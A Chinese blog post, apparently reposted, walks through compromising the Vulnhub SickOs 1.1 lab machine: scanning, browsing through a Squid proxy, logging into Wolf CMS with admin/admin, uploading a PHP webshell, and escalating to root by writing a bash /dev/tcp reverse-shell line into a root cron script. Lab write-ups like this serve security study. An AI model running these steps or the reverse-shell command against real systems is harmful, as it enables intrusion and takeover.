[Vulhub]Sickos靶机渗透

news/2025/10/31 1:09:05/文章来源:https://www.cnblogs.com/kudo4869/p/19178434

[Vulhub靶机]Sick0s靶机渗透

靶机搭建

下载地址:

https://download.vulnhub.com/sickos/sick0s1.1.7z

下载后设置nat模式即可与攻击机同一网段

kali:192.168.88.133

1.信息收集

主机发现

sudo nmap -sn 192.168.88.0/24

发现主机192.168.88.132

image-20251016204200517

端口扫描

开始对其进行TCP的快速扫描,可以看到能扫出来一些基本端口信息。

sudo nmap -sT --min-rate=10000 -p- 192.168.88.132 -oA vulhub/sickos1.1/ports1

image-20251016204748264

接下来我们再使用udp扫描一次

sudo nmap -sU --top-port 20 192.168.88.132 -oA vulhub/sickos1.1/udpports1

image-20251016204840793

接着,对探测到的开放端口进行详细的tcp扫描

sudo nmap -sT -sV -sC -O -p22,3128 192.168.88.132 -oA vulhub/sickos1.1/details1

image-20251016205659353

最后使用nmap自带的漏扫脚本进行一遍检测

sudo nmap --script=vuln -p22,3128 192.168.88.132 -oA vulhub/sickos1.1/vuln1

image-20251016210122970

漏洞探测发现

代理服务渗透

Squid 是一款开源的 HTTP/HTTPS 代理服务器,核心用于代理转发、缓存加速和访问控制,广泛应用于企业、CDN 等场景。

我们看到3128运行的服务是squid-http。端口而且为3128,可以推测大概率为正向代理。反向代理的话一般作用是隐藏web服务,更可能为80,8080等等

思路:先将常见端口访问一下。如果没有我们再进行web全端口扫描。

配置代理后端口访问,80,443,8080,9090

在访问80端口时,成功出现web界面

image-20251018105633530

Web渗透

这个页面没什么信息,使用dirsearch进行目录爆破

dirsearch -u http://192.168.88.132:80 --proxy=http://192.168.88.132:3128

image-20251018110032467

访问/robots.txt,找到/wolfcms路径

image-20251018110130725

访问/connect,下载了connect.py文件。打印了两句话可能是提示

image-20251018112135971

访问/wolfcms,很明显能看出这一个cms,去浏览器了解了一下这个cms的结构和历史漏洞

image-20251018112712384

通过?后的路径访问/admin/login管理员登录后台,接下来去github找一下源码中的默认密码,没找到写的固定的,可能是安装过程中会设置密码

php源码默认密码可能存在的几个地方

  1. 配置文件目录(最常见)

  2. 数据库初始化脚本(默认用户数据)

  3. 安装 / 帮助文档

  4. 代码逻辑中的硬编码(较少见)

试试弱口令,成功admin/admin登录后台,可以看到版本信息0.8.2,然后搜索到了相关的文件上传漏洞在Files,尝试复现

image-20251018120017148

成功上传php一句话木马。注意解析php的路径http://192.168.88.132/wolfcms/public/test.php

image-20251019214518078

访问php路径成功但是kali显示的是秒连然后断开。可能防火墙对出口进行了限制。我们尝试把端口改为80,443,8080这些常用web端口进行绕过,这台靶机直接用80.其实这也就是 Weekly的核心绕过原理。如果没成功再试试Weekly,因为他还会加密混淆

直接成功getshell

image-20251030233454985

提权

首先进行内核提权

发现有wget命令,我们直接把linpeas.sh上传在机器上信息收集。在kali上搭建http服务即可

image-20251030233929063

这里有存在脏牛漏洞,可以直接提权。不过继续看看其他思路

image-20251030234439551

linpeas还扫出了php的数据库配置信息,随机我去查看这个数据库的信息

image-20251031000643475

果然成功找到了数据库的账号密码,看到root第一个想法肯定是ssh试试能不能连,不过失败了

image-20251031000801681

不过mysql权限运行的,也不能想着用mysql提权了

image-20251031001355026

查看一下定时任务

find / -name 'cron*' 2>/dev/null

第一个进视野的就是下面的那个cron.php,因为就这个是php,查看一下。不过啥也没有,只是这个cms的定时任务做一些配置

image-20251031001805784

接下来逐个看看定时任务,苦苦寻找竟然还真找到了一个root执行connect.py的定时任务。看一下有没有写入的权限然后

image-20251031003054911

权限拉满,直接python提权就行了

image-20251031003305971

写入python执行反弹shell的命令,等待一分钟后成功提权

echo "import os;os.system('bash -c \"bash -i &> /dev/tcp/192.168.88.133/443 0>&1\"')" > /var/www/connect.py

image-20251031005051059

image-20251031005126561

不过最后我查看了wp,发现其实之前找到john@123是sickos的密码。所以得试全,账号密码

总结

·1.首先扫描到http代理后,要尝试挂上这个代理访问http端口可能会有收获

2.当拿到账号密码时得试全

3.当遇到可能有防火墙出端口拦截时,可以尝试通过http开放端口来绕过

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/951230.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《代码大全2》读书笔记2

《代码大全2》第四章聚焦“关键的构建决策”,核心是让开发者明白,构建阶段的前期选择比后期修改更重要,这些决策直接影响代码的后续维护成本。首先是语言选择,书中明确“无最优语言,只有最适配场景”,比如对性能…

revit 设置参数和获取参数值

revit 设置参数和获取参数值设置参数 // 获取长度参数L Parameter paramL = selectedElement.LookupParameter("L");if (paramL == null) {message = "所选图元不包含参数L";trans.RollBack();r…

revit 设置参数

revit 设置参数设置参数 // 获取长度参数L Parameter paramL = selectedElement.LookupParameter("L");if (paramL == null) {message = "所选图元不包含参数L";trans.RollBack();return Result…

revit api 过滤器获取元素

revit api 过滤器获取元素通过过滤器取到元素 using System; using Autodesk.Revit.UI; using Autodesk.Revit.DB; using Autodesk.Revit.UI.Selection; using System.Collections.Generic; namespace HelloRevit {[Au…

Skill Discovery | RGSD:基于高质量参考轨迹,预训练 skill space

① 用对比学习把参考轨迹的 embedding 尽可能拉远,② 使用 DIAYN reward 同时做模仿学习和 skill discovery。论文标题:Reference Guided Skill Discovery。 ICLR 2026 的新文章。 arxiv:https://arxiv.org/abs/251…

revit api 事务和事务组

revit api 事务和事务组使用事务创建元素public void CreatingSketch(UIApplication uiApplication) {Document document = uiApplication.ActiveUIDocument.Document;ApplicationServices.Application application = …

Ai元人文:价值权衡元能力的培育路径与开源生态构建

Ai元人文:价值权衡元能力的培育路径与开源生态构建 笔者:岐金兰 2025年10月31日 摘要:本文探讨了智能价值权衡元能力的本质与提升路径。基于"三值纠缠模型"的理论框架,我们提出了一套从"编程"…

Ubuntu server配置Docker Daemon.json 顽固不生效

本文详细记录了在 Ubuntu Server(ubuntu-24.04.3-live-server-amd64) 环境中,Docker 守护进程(dockerd)拒绝加载 /etc/docker/daemon.json 配置的疑难杂症。即使配置内容和权限都正确,问题依然存在。本文提供了…

sunpinyin online的简单例子

sunpinyin online的简单例子#include <stdio.h> #include <sunpinyin.h>class WinHandler : public CIMIWinHandler {void enableDeferedUpdate(CIMIView* view, int waitTime) {}void disableDeferedUpda…

程序员修炼之道:从小工到专家

初入行业,多数人是 “代码搬运工”,能完成需求却难思深层逻辑。真正的突破,始于跳出 “实现工具” 思维。 要多问 “为何这么设计”,而非只做 “如何实现”;要主动复盘项目坑点,把经验转化为方法论;更要持续深耕…

microsoft edge webview离线安装包

microsoft edge webview2离线安装包&在线安装包 Microsoft Edge WebView2 控件允许在本机应用中嵌入 web 技术(HTML、CSS 以及 JavaScript)。

概率递推1

Problem 19.2025年7月16日-27日,第32届世界大学生运动会在德国举行。在比赛期间,运动员甲(来自中国)和运动员乙(来自澳大利亚)因赛事成为朋友。运动员甲持有一套熊猫主题的运动项目徽章,包含乒乓球、羽毛球、篮…

Revit Api打印当前项目的所有的可打印视图

Revit Api打印当前项目的所有的可打印视图打印当前文档中的可打印视图 public Autodesk.Revit.UI.Result Execute(ExternalCommandData commandData, ref string message, Autodesk.Revit.DB.ElementSet elements) {Do…

实验课收获2025.10.30

这几周的实验课密集地学习了几个经典算法:归并排序、切绳子问题、最长公共子序列和背包问题。有的理解起来很快,有的却让我卡壳了好久。 对我来说接受度比较高的:背包问题 背包问题的动态规划思路我接受得很快。老师…

DW1000芯片帧组成解析

对DW1000链路层协议帧格式进行简单介绍。概述 在物联网定位与数据传输场景中,DW1000 作为遵循 IEEE802.15.4-2011 UWB 标准的芯片,其核心数据传输载体是 “帧”。它像一个精密的 “快递包裹”,通过三层结构(同步头…

revit api测量距离

revit api测量距离根据起始点,和方向向量,创建模型线,获取距离这里的方向是向上的,可以根据自己的需要修改using Autodesk.Revit.Attributes; using Autodesk.Revit.DB; using Autodesk.Revit.UI; using System;[T…

《程序员修炼之道》第一章有感

《程序员修炼之道》第一章有感翻开《程序员修炼之道》第一章,瞬间跳出了“完成任务就够了”的误区。程序员不是单纯写功能的,更要主动打磨代码、想着优化提升。这场职业修炼,从认真对待每一行代码开始。

10月30日日记

1.今天上体育课学习三步上篮,和学习数据结构 2.明天休息 3.数据库索引为什么多用B+树而不是哈希表

代码大全2阅读笔记(3)

一、开篇:别让 “交付” 成为代码质量的终点 读完《代码大全 2》的维护与优化章节,最颠覆认知的一句话是:“代码的生命周期中,编码只占 20%,剩下 80% 的时间都在维护与迭代”。很多时候我们把 “代码能运行、功能…

rustdesk 下载Windows版

蓝奏云下载 rustdesk-1.4.3-x86_64.exe rustdesk-1.4.2-x86_64.exe rustdesk-1.4.1-x86_64.exe 旧版下载 rustdesk-1.4.0-x86_64.exe最新版随github更新